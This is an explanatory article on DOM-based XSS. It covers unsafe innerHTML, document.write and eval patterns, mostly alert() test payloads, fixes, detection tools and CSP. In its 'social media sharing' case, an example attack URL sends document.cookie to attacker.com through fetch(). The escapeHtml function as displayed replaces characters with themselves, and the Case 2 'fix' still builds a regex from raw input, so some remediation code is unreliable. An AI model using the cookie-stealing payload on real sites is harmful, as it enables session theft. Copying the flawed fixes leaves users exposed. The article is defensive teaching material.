Answer
DOM-based XSS is a special type of XSS attack that is fundamentally different from traditional Stored and Reflected XSS. The vulnerability of DOM-based XSS exists entirely in client-side DOM (Document Object Model) manipulation and does not involve server-side data processing.
Core Principle of DOM-based XSS
Definition: DOM-based XSS occurs when an attacker exploits vulnerabilities in client-side JavaScript code to inject malicious scripts by modifying the DOM structure. This type of attack does not go through the server, and malicious scripts are executed directly in the browser.
Difference from Traditional XSS:
- Stored XSS: Malicious scripts are stored in the server database
- Reflected XSS: Malicious scripts are passed through URL parameters and reflected back by the server
- DOM-based XSS: Malicious scripts do not go through the server and are executed entirely on the client side
DOM-based XSS Attack Flow
- Attacker constructs malicious URL: URL containing malicious script fragments
- User visits malicious URL: User is tricked into visiting a URL containing malicious parameters
- JavaScript reads URL parameters: JavaScript code on the page reads URL parameters (such as
location.hash,location.search) - Unsafe DOM manipulation: JavaScript inserts unvalidated data directly into the DOM
- Malicious script execution: Browser executes malicious scripts when parsing the DOM
Common DOM-based XSS Vulnerability Scenarios
1. Using innerHTML to Directly Insert User Input
Unsafe Code:
javascript// Dangerous: directly insert user input into innerHTML const userInput = location.hash.substring(1); document.getElementById('output').innerHTML = userInput;
Attack Example:
shellhttp://example.com/page#<img src=x onerror=alert('XSS')>
Fix:
javascript// Safe: use textContent const userInput = location.hash.substring(1); document.getElementById('output').textContent = userInput;
2. Using document.write to Write User Input
Unsafe Code:
javascript// Dangerous: use document.write to write user input const query = new URLSearchParams(location.search).get('q'); document.write('<div>' + query + '</div>');
Attack Example:
shellhttp://example.com/search?q=<script>alert('XSS')</script>
Fix:
javascript// Safe: encode before writing const query = new URLSearchParams(location.search).get('q'); const encoded = escapeHtml(query); document.write('<div>' + encoded + '</div>');
3. Using eval to Execute User Input
Unsafe Code:
javascript// Dangerous: use eval to execute user input const data = location.hash.substring(1); eval('processData("' + data + '")');
Attack Example:
shellhttp://example.com/page#");alert('XSS');//
Fix:
javascript// Safe: avoid using eval const data = location.hash.substring(1); processData(data);
4. Using setTimeout/setInterval to Execute User Input
Unsafe Code:
javascript// Dangerous: pass user input as string to setTimeout const userInput = location.search.substring(1); setTimeout(userInput, 1000);
Attack Example:
shellhttp://example.com/page?alert('XSS')
Fix:
javascript// Safe: pass function instead of string const userInput = location.search.substring(1); setTimeout(() => processData(userInput), 1000);
5. Using location Object Properties
Unsafe Code:
javascript// Dangerous: directly use location properties document.getElementById('welcome').innerHTML = 'Welcome, ' + location.hash;
Attack Example:
shellhttp://example.com/page#<script>alert('XSS')</script>
Fix:
javascript// Safe: validate and encode const hash = location.hash.substring(1); const encoded = escapeHtml(hash); document.getElementById('welcome').innerHTML = 'Welcome, ' + encoded;
DOM-based XSS Detection Methods
1. Manual Detection
Steps:
- Identify JavaScript code that reads URL parameters on the page
- Look for places using dangerous APIs like
innerHTML,document.write,eval - Construct test payload:
<script>alert(1)</script>or<img src=x onerror=alert(1)> - Insert payload into URL parameters
- Visit URL and check if it executes
Test Examples:
shell# Test location.hash http://example.com/page#<img src=x onerror=alert(1)> # Test location.search http://example.com/page?q=<script>alert(1)</script> # Test location.pathname http://example.com/<script>alert(1)</script>
2. Automated Detection Tools
Common Tools:
- DOM XSS Scanner: Specialized for detecting DOM-based XSS
- OWASP ZAP: Includes DOM XSS detection functionality
- Burp Suite: Can detect DOM-based XSS vulnerabilities
- XSStrike: Supports DOM XSS detection
3. Static Code Analysis
Check Points:
- Search for dangerous APIs like
innerHTML,outerHTML,document.write - Search for dynamic code execution like
eval,new Function() - Check if user-controllable data like
location,window.nameis used directly - Check if user input is validated and encoded
DOM-based XSS Protection Strategies
1. Use Safe DOM APIs
Avoid Using:
javascript// Unsafe element.innerHTML = userInput; element.outerHTML = userInput; document.write(userInput);
Use Safe Alternatives:
javascript// Safe element.textContent = userInput; element.innerText = userInput; element.insertAdjacentText('beforeend', userInput);
2. Encode User Input
HTML Encoding Function:
javascriptfunction escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } // Usage const userInput = location.hash.substring(1); element.innerHTML = escapeHtml(userInput);
3. Avoid Dynamic Code Execution
Avoid Using:
javascript// Unsafe eval(userInput); new Function(userInput); setTimeout(userInput, 1000); setInterval(userInput, 1000);
Use Safe Alternatives:
javascript// Safe const data = JSON.parse(userInput); processData(data); setTimeout(() => processData(userInput), 1000);
4. Use Content Security Policy (CSP)
CSP Configuration Example:
shellContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
Stricter CSP:
shellContent-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
5. Use Framework-Provided Security Mechanisms
React Example:
jsx// React automatically escapes data by default function UserInput({ input }) { return <div>{input}</div>; // Automatically escaped } // If you must use innerHTML, use dangerouslySetInnerHTML function UserInput({ input }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(input) }} />; }
Vue Example:
vue<!-- Vue automatically escapes data by default --> <template> <div>{{ userInput }}</div> <!-- Automatically escaped --> </template> <!-- If you must use v-html, sanitize first --> <template> <div v-html="sanitizedInput"></div> </template> <script> import DOMPurify from 'dompurify'; export default { data() { return { userInput: '', sanitizedInput: '' }; }, watch: { userInput(newVal) { this.sanitizedInput = DOMPurify.sanitize(newVal); } } }; </script>
6. Input Validation
javascriptfunction validateInput(input) { // Whitelist validation const allowedChars = /^[a-zA-Z0-9\s\-_.,!?]+$/; return allowedChars.test(input); } // Usage const userInput = location.hash.substring(1); if (validateInput(userInput)) { element.textContent = userInput; }
Real-world Case Analysis
Case 1: Social Media Sharing Feature
javascript// Unsafe implementation function shareContent() { const shareText = location.hash.substring(1); document.getElementById('share-preview').innerHTML = shareText; } // Attack URL http://example.com/share#<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)> // Fix function shareContent() { const shareText = location.hash.substring(1); document.getElementById('share-preview').textContent = shareText; }
Case 2: Search Result Highlighting
javascript// Unsafe implementation function highlightSearch() { const query = new URLSearchParams(location.search).get('q'); const content = document.getElementById('content').innerHTML; const highlighted = content.replace(new RegExp(query, 'gi'), '<mark>$&</mark>'); document.getElementById('content').innerHTML = highlighted; } // Attack URL http://example.com/search?q=<script>alert(1)</script> // Fix function highlightSearch() { const query = new URLSearchParams(location.search).get('q'); const safeQuery = escapeHtml(query); const content = document.getElementById('content').textContent; const highlighted = content.replace(new RegExp(safeQuery, 'gi'), '<mark>$&</mark>'); document.getElementById('content').innerHTML = highlighted; }
Summary
DOM-based XSS is a stealthy and dangerous type of XSS attack because it executes entirely on the client side, and traditional server-side protection measures cannot detect and block it. Protecting against DOM-based XSS requires developers to:
- Use safe DOM APIs (such as
textContentinstead ofinnerHTML) - Properly encode all user input
- Avoid using dangerous functions like
eval,document.write - Implement Content Security Policy
- Use security mechanisms provided by frameworks
- Perform strict input validation
By following these best practices, DOM-based XSS attacks can be effectively prevented.